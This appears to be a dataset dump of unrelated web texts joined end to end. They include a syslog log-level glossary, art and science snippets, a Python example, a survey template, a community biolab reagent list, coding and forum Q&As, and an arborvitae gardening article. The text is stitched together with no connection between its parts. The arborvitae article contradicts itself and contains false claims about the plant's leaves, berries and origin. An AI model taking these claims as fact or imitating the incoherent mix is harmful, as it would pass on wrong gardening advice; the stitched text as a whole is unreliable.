DevOps and Security Glossary Terms
Log Levels
What are Log Levels?
Computer system designers implement a logging function into devices and applications that automatically documents events. When an event occurs within an application, the logging function creates a log and adds it to the log file for that application. Many enterprise IT organizations use log aggregation software tools to centralize log data from applications and systems throughout their public and hybrid cloud environments.
Logs can be transmitted across IP networks from the application where they originate to event message collector applications or servers using the Syslog protocol. The Syslog protocol was initially written in 1980 by Eric Allman and has since become the de facto standard for message logging in computing. Systems and application designers write their logging functions in compliance with the Syslog standard, making it easier for downstream log aggregation and analysis tools to effectively normalize, index and analyze the data. In the Syslog standard, each log is assigned a facility code and a log level.
Log levels describe the type and severity of a logged event. In the Syslog standard, there are eight different log levels, each with its own unique conditions. While the meaning ascribed to various log levels is particular to each application, the general purpose of log levels is to categorize event logs according to the severity of impact to users and the urgency of response required by the IT organization.
Why are Log Levels Important?
Log levels are just one of many types of data that are contained within the system and application event logs. Most logs contain at least the following information:
 - The date and time that the event happened
 - A description of the event
 - The log level or severity level
 - An error code, if applicable
 - The name of the user that was logged in when an event occurred
 - The name of the device where the event took place
 - The MAC address or IP address of the network device where the log was generated
Log levels are a fundamental tool for tracking and analyzing events that take place throughout your IT infrastructure and cloud-based computing environments. Log files contain a wealth of information about all of the events that take place within a system and log levels allow users to categorize those events by type and severity so they can be treated accordingly.
Using log levels, a security analyst can look at a single value in an event log and start to determine whether that event needs to be immediately investigated, whether it can be put off for later, or whether it can safely be ignored.
What are the Standard Log Levels?
Application developers and IT organizations are free to customize log levels and categorize log events according to their own specific needs. For applications that log events based on the Syslog standard, there are 8 different log levels that can be used to categorize a log according to its severity:
Emergency logs are given the numerical value "0". This category is assigned when an event log indicates that the system is completely unusable.
Alert logs are given the numerical value "1". This category is assigned when an event log requires an immediate response, such as when a system database becomes corrupted and must be restored to prevent the loss of critical data or services.
Critical logs are given the numerical value "2". This category is assigned for critical errors, such as hardware failure.
Error logs are given the numerical value "3". This category is assigned to event logs that contain an application error message.
Warning logs are given the numerical value "4". Warning conditions are slightly less severe than error conditions. Error conditions happen when an operation fails, while a warning might indicate that an operation will fail in the future if action is not taken now.
Notice logs are given the numerical value "5". They include information about events that may be unusual but are not errors. Notice logs are technically normal, but still significant enough to have their own severity level between information and warning.
Informational logs are given the numerical value "6". They include information about successful operations within the application, such as a successful start, pause, or exit of the application.
Debug logs are given the numerical value "7". These logs typically contain information that is only useful during the debug phase and may be of little value during production.
Log Levels and Log Management
Organizations that maintain a large number of applications in one or more cloud environments use log management to capture event logs from throughout the system, centralize and normalize the data, perform analysis, and extract actionable insights. Log levels play an important role in supporting the log management process at each of its five stages:
 1. Instrument and Collect - IT organizations must implement the appropriate software tools to start collecting log data from different sources in the application stack. A log aggregator application may be configurable to assign specific log levels to event logs based on their content and characteristics.
 2. Centralize and Index - Data from event logs need to be aggregated, organized and indexed in a central location where it can be accessed on a single platform. This allows logs of various log levels from across the network to be analyzed side-by-side, which helps analysts detect patterns that may be connected to security or application performance incidents.
 3. Search and Analyze - Once log data is aggregated and indexed, humans or machines can search through the log files and conduct analysis. The purpose of log analysis is to identify any unexpected application behaviors that might indicate a security threat or poor application performance. Machine learning tools can use pattern recognition to detect underlying performance issues by analyzing large volumes of log data.
 4. Monitor and Alert - Log levels play a central role for organizations that use log management to monitor application status and trigger alerts when outliers, anomalies or suspicious patterns are detected. Log management software tools can be integrated with messaging applications to deliver alerts to security analysts based on log levels. This helps to ensure a rapid response to urgent application-related issues.
 5. Report and Dashboard - Log management software tools can be used to track and report on the frequency of each of the log levels within the aggregated and analyzed event logs. Organizations should work towards minimizing the number of errors that cause business interruptions by proactively addressing application errors that crop up in event logs.
Use Log Levels to Filter Alerts with Sumo Logic
IT organizations can configure log monitoring and alerting functions to notify IT, operators when an event occurs that requires an urgent response. A common risk associated with this type of alert is known as alert fatigue: if IT operators receive too many alerts, they may accidentally overlook important events that require urgent action.
Sumo Logic helps mitigate alert fatigue by using log levels to ensure that IT security and operations teams only receive alerts for events that are genuinely worthy of investigation. IT organizations can also use Sumo Logic to extract event logs with specific log levels and selectively monitor specific types of errors or warnings.
Complete visibility for DevSecOps
Reduce downtime and move from reactive to proactive monitoring.


text:
The ocean is an awe-inspiring sight with a seemingly endless expanse of rolling water that stretches to the horizon. The ocean can be calm and relaxing, fun and playful, romantic and mysterious, or fierce and powerful. The details of the water -- the constant movement of the ocean and the rhythm of the waves -- can be hard to capture on canvas. A subtle detail like the white foam of a rolling breaker or the spray of a cresting wave, however, can easily add movement and realism to your painting that might otherwise be lacking.
Locate a suitable reference to work from. Sea foam is a rapidly changing and dynamic subject that might be very hard to create convincingly from memory alone. Find multiple photographs of breaking waves that you can refer to. You do not have to copy the details exactly, but you want to observe the way the foam interacts with the waves. If you are painting from real life, study waves at each point in the life cycle. Waves break the same almost every time; the only thing that changes is the scale of the wave.
Video of the Day
Paint the seascape and the waves. Work your way from the underlying basic colors to the more specific hues of the water. The ocean is not a single color, so use a mixture of different hues and shades to create a convincing seascape.
Form contours of waves with long smooth brush strokes. Follow the path of the water with your brush. The texture of the paint will help create the illusion of shape and movement. Taller waves will have slightly darker water at the base of the wave, while the top will have more light shining through, creating a lighter hue or even a slight glow.
Add the sea foam with a small brush and short quick brush strokes. You can also use a sponge and gently dab to create foam. Use white paint with just a hint of the primary hue of the sky in it. The ocean in real life reflects the color of the sky and the sea foam often will have a hint of this as well. Avoid creating solid blocks of a single color and let flecks of the water peek through, giving the illusion of spray and foam.
Create depth and detail to the foam by adding shadow and shade. When sea foam rolls into a beach or tops a breaking wave, it's a three-dimensional object. The underside of the foam will often be slightly darker than the foam on top. This is easier to see if you are using a photograph as your source. With a small brush, apply a slightly darker hue to the underside of rolling foam or anywhere the light may not be able to reach as well. Blend the transition from dark to light smoothly for a nice, rounded edge.

source: openbmb/Ultra-FineWeb


�נֶחְמְדֵהוּ
Keil and Delitzsch commented,
The meaning therefore is, "We saw Him, and there was nothing in His appearance to make us desire Him, or feel attracted by Him."
Furthermore, there are some who interpret Isa. 50:6 as referring to the Lord Jesus Christ.
If this is indeed about the Lord Jesus Christ, we may assume he had a beard.
share|improve this answer
It is probably inaccurate to portray Christ as caucasian as he was a middle easterner. Further, it was said of him, "There was nothing to draw us to him" (Isa.) and that he appeared as "the carpenter's son." Both of these imply that he was not remarkably different from his compatriots.
On the other hand, some would point out that the Shroud of Turin does have a good deal more "European" appearance than the one those who have created an amalgamation have portrayed.
share|improve this answer
Your Answer


text: CuInS2 (CIS) fluorescent nanocrystals (NCs) were obtained by heating an organic metal complex. The photoluminescence (PL) originated from the donor-acceptor, and the quantum yield (QY) was achieved at 6%. Furthermore, we doped some metal ions (Zn2+, Cd2+ or Ag+) by the post heat-treatment in the organic coordinating solvent in order to tune the band gap of NCs. By this post treatment, the alteration of NCs structure was suggested, such as changing into an alloying and composite structure. In Zn-doping, the PL wavelength was widely tuned from 535 to 650 nm by alloying between CIS and ZnS. Moreover, PL intensity was increased with these structure alterations. In particular, the materials doped with Zn or Cd achieved respective QY of 25% and 40%.

source: m-a-p/FineFineWeb


text:
When a fire burns, ashes fall to the ground (form) and smoke ascends to the sky (emptiness). Firesmoke examines the relationship between form and emptiness and questions how fire can arise from both life and death. Firesmoke also explores the restorative power of the feminine principle, the alchemy of nature and the impermanence of life.
Each poem in Firesmoke is an offering to the four elements: earth, water, fire and air. They mimic the breath and death of a sacred fire, from its inception to its annihilation. The more structured poems & ghazals act as the kindling taken from the forest floor. As the kindling begins to burn and transform into smoke, the poems become less and less structured (free verse).


Python Program to Find Numbers Divisible by Another Number – 2023
Machine Learning Projects
Hey guys, in this blog we will see a Python Program to Find Numbers Divisible by Another Number.
Code
# Python Program to Find Numbers Divisible by Another Number
# Take a list of numbers
my_list = list(map(int,input('Enter space seperated list of numbers: ').split()))
num = int(input("Enter number to check divisibility -> "))
# use lambda function to filter
result = list(filter(lambda x: (x % num == 0), my_list))
# display the result
print(f"Numbers divisible by {num} are",result)
Output
Enter space seperated list of numbers: 11 12 13 24 34 36
Enter number to check divisibility -> 12
Numbers divisible by 12 are [12, 24, 36]
Enter space seperated list of numbers: 1 2 3 4 5 6 7 8 9 10
Enter number to check divisibility -> 2
Numbers divisible by 2 are [2, 4, 6, 8, 10]
Enter space seperated list of numbers: 1 2 3 4 5 6 7 8 9 10 11 12
Enter number to check divisibility -> 3
Numbers divisible by 3 are [3, 6, 9, 12]
 - This is a very simple program in which we are taking a list and a number as input from the user.
 - Then we are applying the lambda function to all the elements of the list.
 - And lastly filtering out all the numbers that returned 0 which means that they are purely divisible.
Check out our other python programming examples
Leave a Comment
Your email address will not be published. Required fields are marked *


King's Road Meets Apalache Trail
King's Road Meets Apalache Trail (HM2JYW)
Buy flags at!
N 30° 19.781', W 81° 39.532'
 - 0 check ins
 - 0 favorites
At this spot the Kings Road met the Apalache Trail, so connecting the English colonies and the Spanish settlements of the west with St. Augustine and New Smyrna
Year Placed1928
Placed ByJacksonville Chapter Daughters of the American Revolution
Marker ConditionNo reports yet
Date Added Monday, August 26th, 2019 at 8:01pm PDT -07:00
Locationbig map
UTM (WGS84 Datum)17R E 436664 N _PHONE_
Decimal Degrees30.32968333, -81.65886667
Degrees and Decimal MinutesN 30° 19.781', W 81° 39.532'
Degrees, Minutes and Seconds30° 19' 46.86" N, 81° 39' 31.92" W
Driving DirectionsGoogle Maps
Closest Postal AddressAt or near,,
Check Ins check in | all
Comments 0 comments
Maintenance Issues
 1. What country is the marker located in?
 2. What historical period does the marker represent?
 3. What historical place does the marker represent?
 4. What type of marker is it?
 5. What class is the marker?
 6. What style is the marker?
 7. Does the marker have a number?
 8. This marker needs at least one picture.
 9. Can this marker be seen from the road?
 10. Is the marker in the median?


Questions? Start Chat
| Sales: _PHONE_ | Live Chat | Login »
Survey Template Library
Survey Name Technology Survey
Description Sample Survey
Category (Browse All Categories)
Create a free account and customize this survey
Join Now!
It's completely Free!
Hello Campbell Staff:
Thank you so much for taking time out of your busy day to help me complete this technology survey. I was challenged to get a 100% response from the staff at my building - thank YOU for helping me reach my goal!
This survey will address three areas: (1) personal technology skills, (2) technology usage, and (3) technology integration.
Although I have created this as a requirement for a course I am taking, I hope that I can share and use the results in our building. My goal is to discover areas in which our staff desires technology training or professional development, identify issues inhibiting technology integration, and generate ideas for how the technology committee can provide technology assistance to staff.
The survey is anonymous - answer freely and honestly. Again, thank you! I am very lucky to work with such an awesome group of people!
Sherri Heimann
The survey is 12 questions (the first 3 have multiple parts). I am roughly estimating about 10 minutes or so to take it. Thanks again!
1. Please rate your own technology skills according to the scale. Please select one for each question.
I am not sure how to do this task.
I have done this before, but might need some help.
I can perform this task without any assistance.
I could train staff to do this.
Create a functioning web page with Microsoft Word. *
Map a network drive to my web folder (or team web folder, if applicable) *
Connect and use the Smartboard *
Connect and use an LCD projector with my laptop *
Connect and use the CPS (Classroom Performance System) software *
Create lessons or assessments in the CPS (Classroom Performance System) software *
Take digital pictures and download them to my computer *
Take digital video and download it to my computer *
Analyze data and create graphs in Microsoft Excel *
Save files so they can be opened in different software versions (i.e. Word 97 vs. Word 2000) *
2. How often do you integrate these technologies into your instruction or materials?Please select one for each question.
At least once per week
At least once per month
At least once per quarter
At least once per semester
At least once per year
Never use it
Have students use the computer lab *
Present lessons using an LCD projector *
Use the Smartboard to instruct *
Use the CPS (Classroom Performance System) with your students *
Have students use the Internet as part of their lesson *
Use a classroom webpage that you created for your students *
Have students create graphic organizers in Inspiration *
Have students use a digital camera for their projects *
Have students use a video camera for their projects *
Have students create PowerPoint presentations *
Have students type papers in Word *
Have students use Excel to analyze or graph data *
Have students take assessment online *
Have students use content specific software for teaching/reinforcing skills *
3. Please evaluate each of the following statements. Please select one for each question.
Strongly AgreeAgreeDisagreeStrongly Disagree
I can easily access the available technology in the school when I need it. *
I feel confident in my ability to integrate multiple technologies into my instruction. *
Integrating technology is not pertinent to my curriculum. *
I have a good variety of ideas and lessons for integrating technology into my teaching. *
The amount of time needed to prepare technology-based lessons deters me from creating them. *
I believe that integrating technology into my curriculum is important for student success. *
I am aware of the resources available by the district that can help me learn how to integrate technology. *
I do not have the technology skills to support the students when they use technology for a project. *
I am familiar with what technology is available to my students and me in our building. *
I am familiar with the copyright laws that govern the acceptable use of technology (including using material from the Internet) *
4. For the next 5 questions, please describe where you are at professionally with each.
Plan and integrate technology-based learning activities that promote student engagement in higher-order thinking skills. *
Use content-specific tools (e.g. software, simulation, graphing calculators, Web tools) to support learning and research. *
Have my students use technology in the development of strategies for solving problems in the real world. *
Use a variety of strategies for implementing the Internet into my curriculum. *
Plan and teach student-centered learning activities and lessons in which students apply technology tools and resources. *
What is the number one factor that prevents you from integrating more technology into your lessons?
Concerning the use or integration of technology, what is the one area in which you would most like to receive training or professional development?
Other Comments:
Please indicate which department you are a member of: *
Create a free account and customize this survey
Join Now!
It's completely Free!
© QuestionPro Online Survey Software | _PHONE_
QuestionPro Inc, Market Survey Companies, Seattle, WA


text:
Two professors at the University of Maine in Orono are working on breeding new potato varieties. Professor of crop ecology and management in the School of Food and Agriculture, Dr. Greg Porter, and assistant professor of plant genetics with the School of Biology and Ecology Dr. Han Tan are researching how to make more varieties using a new, DNA-based tool.
The new DNA-based tool will hopefully help develop new potato varieties quicker. Progress could be made in five to six years, half the time currently needed. The goal of the project is to generate DNA-based marker data and combine their normal data from the field, apply that information using computer-based models, and do predictions on what the best parent plants are to speed the development of new potato varieties.
Potatonewstoday.com reports that, over the course of the project, the researchers will analyze 600 potato varieties.


Number of groups of prime power order
John Baez left a comment on my post on group statistics saying
It's known that the number of groups of order p^n for prime p is p^{2n^3/27+O(n^(8/3))}. It might be fun to compare this to what Mathematica says.
Here goes. First let's let p = 2. Mathematica's FiniteGroupCount function tops out at n = 10. And for the range of values Mathematica does support, 2^{2n^3/27} grossly overestimates the number of groups.
 Table[{FiniteGroupCount[2^n], 2^((2./27) n^3)}, {n, 1, 11}]
 {{1, 1.05269}, {2, 1.50795}, {5, 4.}, {14, 26.7365},
 {51, 612.794}, {267, 65536.}, {2328, 4.45033*10^7},
 {56092, 2.61121*10^11}, {_PHONE_, 1.80144*10^16},
 {49487365422, 1.98847*10^22}, {FiniteGroupCount[2048], 4.7789*10^29}}
OEIS has entries for the sizes of various groups, and the entry for powers of 2 confirms the asymptotic formula above. Maybe it's not a good approximation until n is very large. (Update: Here's a reference for the asymptotic expression for all p.)
The OEIS entry for number of groups of order powers of 5 has an interesting result:
For a prime p >= 5, the number of groups of order p^n begins 1, 1, 2, 5, 15,
61 + 2*p + 2*gcd (p – 1, 3) + gcd (p – 1, 4),
3*p^2 + 39*p + 344 + 24*gcd(p – 1, 3) + 11*gcd(p – 1, 4) + 2*gcd(p – 1, 5), …
We can duplicate this with Mathematica.
 Table[FiniteGroupCount[5^n], {n, 0, 6}]
 {1, 1, 2, 5, 15, 77, 684}
and the last two numbers match the calculations given in OEIS.
There's something interesting going on with Mathematica. It doesn't seem to know, or agree with, the formula above for groups of order p4. For example,
 Table[FiniteGroupCount[7^n], {n, 0, 6}]
 {1, 1, 2, 5, FiniteGroupCount[2401], 83, 860}
I get similar results when I use larger primes: it can't handle the fourth power.
 Table[FiniteGroupCount[389^n], {n, 0, 6}]
 {1, 1, 2, 5, FiniteGroupCount[22898045041], 845, 469548}
The results for n = 5 and 6 agree with OEIS.
Is OEIS wrong about the number of groups of order p4 or should Mathematica simply return 15 but there's a gap in the software?
Also, does anybody know why the agreement with the asymptotic formula above is so bad? It's just as bad or worse for other primes that I tried.
More algebra posts
4 thoughts on "Number of groups of prime power order
 1. Just looking at that formula, it doesn't seem like you should expect it to give a "good" approximation. The big-oh term has a power of 8/3, compared to 3 for the leading term (so you wouldn't expect it to be that small for the values of n you're looking at, even if the constant in the big-oh term is not astronomically large), and, more importantly, it's in the exponent. In other words, the ratio of the logarithms approaches 1, although probably slowly, but the actual ratio of FiniteGroupCount to the approximation might not even approach 1 at all.
 2. Including the big-oh term would make the upper bound even worse. The estimate is already off by several orders of magnitude without it. So unless I'm missing something, the expression has no practical utility.
 3. Yes, the number of groups of order p^4 is 15 unless p=2. I suspect it was accidentally overlooked in Mathematica.
 4. If my understanding of the notation is correct, the big-oh term is an error term which could be either positive or negative, much like writing sin(x) = x + O(x^3) for x close to 0. In the examples in this post, it is clearly negative. The bound you get from this formula is a very weak bound, but it is at least a bound, which is better than nothing.
Leave a Reply


text:
enzyme can then be easily purified by boiling cells and filtering the result; the crude lysate will contain the enzyme, which should outlast contaminating enzymes under heat treatment. However, it is not feasible to locally produce such a strain as required, because the gene needed to produce the thermostable enzyme is found in wild cultures of deep-sea, thermophilic bacteria which are practically impossible to locally culture. However, once produced, such a strain can be transferred with trivial ease between AT-biolabs and constitutes a landmark development in sustainable biotechnology.
 Existing Methods
 Acids / Alkali / Feedstocks
- Acetic Acid - Distillation or Recrystallisation from Vinegar/Kombucha - Acetate salts are used for a wide variety of protocols.
- Acetone - Can be produced via the ABE Process (or transgenic bacteria). Can also be distilled from acetates, for example calcium acetate formed from egg shells and acetic acid from vinegar.
- ATP - Adenosine Triphosphate. Molecular energy unit of most living cells. Could probably be extracted from living cells but is highly unstable owing to its high energy content. Required for many enzyme-catalysed reactions, such as the use of Ligase (below).
- Benzoic Acid may be distilled from the injury-induced resin of Styrax family trees. The resin may be 20% Benzoic Acid. It may alternately be chemically produced from benzyl alcohol, which can be extracted from essential oils or fruits, though likely not in the same quantity as Styrax resin.
- Calcium Carbonate - Egg Shells, DE, Sea Shells, Mineral Deposits
- Citric Acid - Fermentation of glucose by Aspergillus niger yields citric acid which can be recrystallised and purified.
- Formic Acid - Distillation from ant bodies - Can be used for making salts, also has output applications in beekeeping.
- Potassium Hydroxide - Purification from Lye from Hardwood Ash - Provides ~90% Potassium Hydroxide, but presents hazards.
- Sodium Carbonate - Can be produced in low quality from burned Kombu/Kelp but is also produced via the Solvay Process.
- Sodium Hydroxide - Produced from Calcium Hydroxide and Sodium Carbonate, both outputs of the Solvay Process.
- Benzyl Alcohol - Can be extracted from fruit or some essential oils, though probably not in quantity.
- Butanol - Can be produced via the ABE Process (or transgenic bacteria).
- Ethanol - Produced during yeast fermentation or ABE Process. Can be distilled from fermentation medium, although high-grade ethanol will require more than a pot still.
- Methanol - Can be distilled from wood.
- Phenol - Possibly isolated from lignin
- Cellulose - Glucose polymer, most common biological compound on earth but usually highly impure. Easily produced as pure polymer by Kombucha fermentation, potentially useful as alternative to agarose DNA gels.
- Agar - Extracted from some seaweeds. In principal possible to produce via transgenic bacteria/yeast in-house. Useful for food production as an output.
- Agarose - Highly purified galactose polymer from Agar, requiring solvent or enzyme treatment to produce. Also in principal possible to produce with transgenic bacteria/yeast in-house. Supersedes need for agar if produced as pure agarose for lab or culinary applications.
- Gelatine - Easily boiled from bones and collagenous animal matter. Has limited uses in the lab due to being readily digested by many bacteria during growth.
- Alginates - Boiled as with Agar from certain species of seaweed/alga. Has food applications and can be processed to form a powder that, when dissolved in water, forms a gel upon exposure to calcium. Useful for encapsulating cells for ease of extraction from fermentations. Also has culinary applications and can be used to produce a "spray on bandage" to rapidly stanch bleeding as a medical application.
- DNA Monomers - Generally called "NTPs". Extracted industrially from salmon sperm DNA. Necessary for PCR and some other DNA manipulation reactions to produce or extend DNA.
Dyes actually pose a strong problem for community biolabs. Although many natural dyes can be easily prepared from indigenous species or by fermentation of transgenic strains, most dyes used in a modern lab for essential techniques like DNA visualisation are synthetic and/or present a mutagenic hazard. Substitution with natural stains and dyes may be a matter of trial and error.
- Indigo may have potential lab applications and can be grown easily or fermented by transgenic cultures. Also used as a clothing dye.
- Iodine can be extracted from Kelp/Kombu using Sulfuric Acids, and probably other acids more easily attained such as Acetic acid. Iodine is used in the gram staining method that helps identify microbes in medical samples.
- Lawsone from Henna could be used as a protein stain.
- Hematoxylin is extracted from log heartwood. It is used for a medically important staining procedure. As a biosynthesised dye, it could in principal be fermented by transgenic bacteria.
- Carmine/Cochineal is a traditional foodstuff dye produced from scale insects, and may have biolab applications.
- Turmeric is a traditional foodstuff and clothing dye and may have laboratory dye applications.
Many degradative enzymes can be produced by fermentation of saprophyte species such as B.subtilis, which possesses a host of useful enzymes for breaking down dead plant matter. These enzymes can be used for degrading waste and quickening composting or disposing of awkward wastes such as rancidified oils.
In a biolab, enzymes are the molecular machinery that perform many essential tasks such as copying, modifying and pasting DNA into desired sites, degrading contaminants, binding and purifying specific desired components of mixed samples, or cell-free production of proteins for advanced medical applications.
The below enzymes mostly do not come with instructions or suggestions for sources; the probable route to production in a community lab would be to acquire transgenic strains of B.subtilis or E.coli producing the desired enzyme, from which the enzyme can be extracted after a scaled-to-order fermentation. These strains generally do not exist in a form that is suitable or available to the community lab, but will surely be designed in coming years and disseminated where possible and required.
Essential Lab Enzymes:
- Restriction Enzymes - The more the merrier. Less necessary where synthesised DNA is available on demand..i.e. not in a community biolab, yet.
- DNA Polymerase(s) - Generally heat-stable enzymes extracted originally from deep sea bacteria, now produced from transgenic E.coli. Essential for the PCR reaction, easily produced and purified from lab strains such as E.coli or B.subtilis provided the correct genes are available in-house.
- Ligase - Used to "paste" DNA together, can be extracted in some form from probably any living cell but is generally extracted specially from transgenic E.coli. Could be produced in house from natural species with some difficulty, probably easier to produce with transgenic, tailor-made strains.
- Exonucleases - For degrading RNA or DNA, and for modern DNA cloning methods such as the Gibson method.
- Cellulase - For degrading cellulose, whether for biofuel production (probably inefficient to use enzyme for this) or to prepare plant cells for further manipulations.
Mostly culinary outputs:
- Invertase - Produced by Bacilli such as B.subtilis. Catalyses Sucrose -> Glucose + Fructose.
- Lipase - May assist in purification procedures. Can be used to degrade fats and remove fatty deposits. Can also be used to produce biofuel from oils/fats.


Take the 2-minute tour ×
I'am using jasperReport/ireport 4.0
Using jasper I generate a report contain barChart that contain a lot of informations, The number on the x axis is not clear and precise,from the chart I cant tell how many issue I have, when the user read the report he can't tell the right value
How can I minimise the scale to have more detailed number?
My chart:
enter image description here
share|improve this question
1 Answer 1
You'll need to use a chart customizer class to do this. Create a class that implements the JRChartCustomizer interface, then in the customize() method add the following code:
CategoryPlot plot = (CategoryPlot)jFreeChart.getPlot();
ValueAxis verticalAxis = plot.getRangeAxis();
TickUnits verticalTicks = new TickUnits();
verticalTicks.add(new NumberTickUnit(1));
verticalTicks.add(new NumberTickUnit(2));
verticalTicks.add(new NumberTickUnit(5));
verticalTicks.add(new NumberTickUnit(10));
The chart engine should always pick the smallest tick unit that does not cause the ticks to overlap. Using this code your chart should hopefully place ticks at every value or every 2 values.
share|improve this answer
Hello,thank you for the reply,I'am generating this chart without coding using jasperReport and iReport,I'am creating the chart using ireport and then I pass my parameter throw my code using jasperReport to the report – rym Aug 18 '11 at 9:34
_USER_: You do not need to create your chart programmatically, just set the 'Customizer Class' property of the chart in iReport. As long as your customizer class is on the classpath, the method will be called automatically during the report generation. All the other chart options will be just as you designed them in iReport. – GenericJon Aug 18 '11 at 13:10
Your Answer


text:
Last Updated on June 23, 2022
The Arborvitae is a flowering plant that can grow in USDA zones 3 and up. They are best known for their showy flowers but have other uses too, from attracting wildlife to providing habitat. You might be surprised how much they need to survive!
Arborvitae is a shrub that can grow up to 10 feet tall. This article will help you calculate how close you can plant it without damaging the roots.
Emerald green arborvitae is a plant that requires a lot of care and attention. You can plant it in the spring or fall, but you should not plant it during the summer. Arborvitae will die if they are planted during the summer. Reference: when to plant emerald green arborvitae.
How close to a fence can I plant arborvitae?
Arborvitae is a deciduous shrub that has green leaves in winter and a profusion of red berries. This ornamental tree can grow 15 to 20 feet tall and is found in areas that receive ample rainfall. In the US, it is grown for its lovely foliage, but in the UK, it is popular for its red berries and red berries are what make it so easy to identify. There are other similar plants that are native to the US that have berries and can be mistaken for arborvitae but only arborvitae produces berries the size and color of tiny, round cherries.
How close to arborvitae can you plant property line?
Arborvitae is native to Europe. This tree has become one of the most popular trees for landscaping because of its ability to withstand harsh conditions such as extreme cold and heat. One of the best parts of arborvitae is that it requires very little maintenance. The only thing that you need to do to keep the arborvitae healthy is to cut it back when the leaves start to die. In the wintertime, you can trim the arborvitae to keep it from growing into the fence. This makes your lawn and property look nice and neat. The arborvitae is not only good for your lawn but it can also make your home look beautiful.
What is the best time of year to plant arborvitae?
Arborvitae is a type of tree. It grows well in shady areas. Arborvitae trees have beautiful foliage and look really cool. You can find this tree growing in many places around the world. Arborvitae trees are known for their long life span. In some cases, arborvitae trees can live for more than one hundred years. In fact, arborvitae trees are called evergreen. That means that these trees will grow all year round, no matter what the weather is like.
Can I plant emerald green arborvitae next to house?
1. Yes. Green plants are great for air quality and they can even absorb some toxins from the air.
2. There are a few other types of trees you can plant if you want to avoid all green foliage.
3. Arborvitae are known for their small, dense foliage.
4. There are several species of arborvitae that are perfect for smaller yards.
5. You'll probably need at least five or six trees to get the coverage you want.
How Close Can You Plant Arborvitae?
In conclusion, this is the best time ever to plant an arborvitae tree. This plant needs little to no care other than the occasional watering and a good amount of sunlight, and it's hardy. That's why, when you're choosing your location, you should keep the following in mind: it's hardy in many locations throughout the country. Most trees are best planted in warmer zones, although it can survive in colder regions. Choose an area where there isn't a lot of moisture, like dry soil or open space. Arborvitae likes dry air, so it's best to choose an area that gets plenty of suns and is protected from the wind.
Watch This Video:
- can you transplant arborvitae in the fall
- how fast do arborvitae grow
- emerald green arborvitae spacing from house
- can you plant arborvitae in summer
- how far apart to plant arborvitae green giant
Sam is an avid gardener and plant enthusiast. He loves spending time outdoors tending to his garden, learning about new plants and sharing his knowledge with others. Sam has been gardening for over 10 years and takes great pride in his work. He is a self–taught expert and is always eager to learn more. Sam also enjoys teaching others about gardening and has even written several articles for local newspapers about the topic. He is passionate about preserving the environment and making sure that the plants in his garden are healthy and thriving. Sam's favorite pastime is spending time in the garden with his family and friends, where he can share his knowledge and enjoy the beauty of nature.


biology question #855
Clare Reading, a 54 year old female from Mesa asks on July 17, 2002,
What is the pH of Diet Pepsi? (or cola,generally) and... Does smoking affect the body's pH? If so, does it create an acid or alkaline condition?
viewed 13401 times
the answer
Barry Shell answered on July 17, 2002, A:
The pH of soda pop is mostly determined by the dissolved carbon dioxide which produces carbonic acid. The pH of pop is around 2 or 3.
Different parts of the human body have different pH values. The stomach is about 1, while the normal pH of human blood is about 7.4. It would seem very unlikely that the pH of the body would change much because of smoking. The body has an elaborate system to regulate the pH of the blood and hold it at about 7.4. This is called buffering and our bodies have all sorts of systems to buffer the blood pH. Even if smoking did make a difference, the body would compensate and get the pH back to normal. The only indirect way in which smoking might affect body pH is through damage to the lungs. There are many respiratory diseases that wreak havoc with the body's pH regulation system, and some of these could be caused by a lifetime of smoking. Most of these cause the blood to become more acidic. This of course is compensated in various ways because so many systems within the body require a steady pH of 7.4. But this compensation can lead to other problems in other parts of the body that are compensating, i.e. the kidneys. A good reference source on this is pH of the Blood by Michael J. Bookallil.
Add to or comment on this answer using the form below.
(required if you would like a response)
Note: All submissions are moderated prior to posting.


text:
Squirrels have fuzzy tails.
0 Members and 1 Guest are viewing this topic.
only with one camera... I have read through the tutorial of Stereo Vision here, but I still cannot understand the equation for one camera.
Is there any method that can get more accurate result from a 2D image? How to "calibrate the camera so that I can relate pixels to real world distances"?
(rotation about Y-axis)
Does the equation work when Zo is (0,0,0) or angle "phi" is 0 (I want to use the other camera (cR) to check whether the target and robotic arm are in the same plane).
could you please also recommend some "calibration software" to calculate the transform?
U can see the Z must be 70 cm not 2.5 cm.
Quote(rotation about Y-axis)Do you mean X or Z? If its the Y axis, your cameras are crooked for no reason at all...
I need to know how many degrees that the base of the robotic arm need to turn to make the robotic arm and the target in the same plane, and then calculate the positions of each joint together with the target point in their plane in unit of centimeters.
As RoenZ said parallel axes is simple, so I choose parallel axes at last.
Does the value of focal length influence the result much or not? Since I can only use the minimum focal length of my camera provided in the user manual.
4. "x_CamL" and "x_CamR" are posions of point P in left image and right image right? For keeping them consistent, we can change the pixel units to e.g. cm units, right?
5. In RoenZ's reply #10 and #11, could you please explain why the result seems making no sense. Where actually should the original point be?
I have to use single camera to get robot localization.
how to set up an experiment to construct a lookup table with a discrete set of known sample points in image which represent the real joints of the robotic arm, and then interpolate a unkonwn point between them to get the approximate position in real world.
But after i got the depth, i confused how to detect what is the background and what is the object....
I would put a red ball on the end of the robot end-effector
then record the angles of each position
I assume you meant robot arm end-effector (grippers) localization?
But in your explain, what do you mean the angles? I have a joint on shoulder, and a joint on elbow.
That is great because I only need to know the position of the target and the end-effector right?
i mean i didn't get a shape of cube after i segmented it??? Have any simple algorithm to get a smooth segmentation??
i'm confused about the similiar triangle equation, it marked in blue colour. Why xL/f=(X+(b/2))/Z
Hmmmmm your englarged image doesnt look like the smaller images, nor does it have a blue circled equation that you asked about...
Although I think they made a mistake in that red equation because they misdefine T...
Started by airman00
Started by bootstrap
Started by Penth
Started by robotcy

source: HuggingFaceFW/fineweb-edu


text: Augustine of Hippo was one of the Fathers of Western Christianity, a Doctor of the Church. No theologian was more widely revered in medieval Europe, and his thought continues to be foundational in both the Roman Catholic and Protestant traditions. But Augustine wasn't European, and only half Roman, and his Christianity was as blended as his ethnic heritage. What difference might that cultural and religious blending have made in the life and thought of Augustine? To answer this question, Justo Gonzalez applies an insight from Latin American theology: the concept of the mestizo, one who combines and inhabits two backgrounds. The result is an insightful and fresh analysis of Augustine that anchors the cerebral patristic writer in the gritty, surprisingly familiar realities of the diverse Roman world. n this episode of Christian Humanist Profiles, David Grubbs interviews Dr. Justo Gonzalez, church historian, historical theologian, and author of The Mestizo Augustine: A Theologian Between Two Cultures (IVP Academic, 2016).


rfc:cli_process_title
Differences
This shows you the differences between two versions of the page.
Link to this comparison view
rfc:cli_process_title [2013/02/07 05:42]
keyur
rfc:cli_process_title [2017/09/22 13:28]
Line 1: Line 1:
-====== Request for Comments: PHP CLI changing process title support ======

- * Version: 1.0
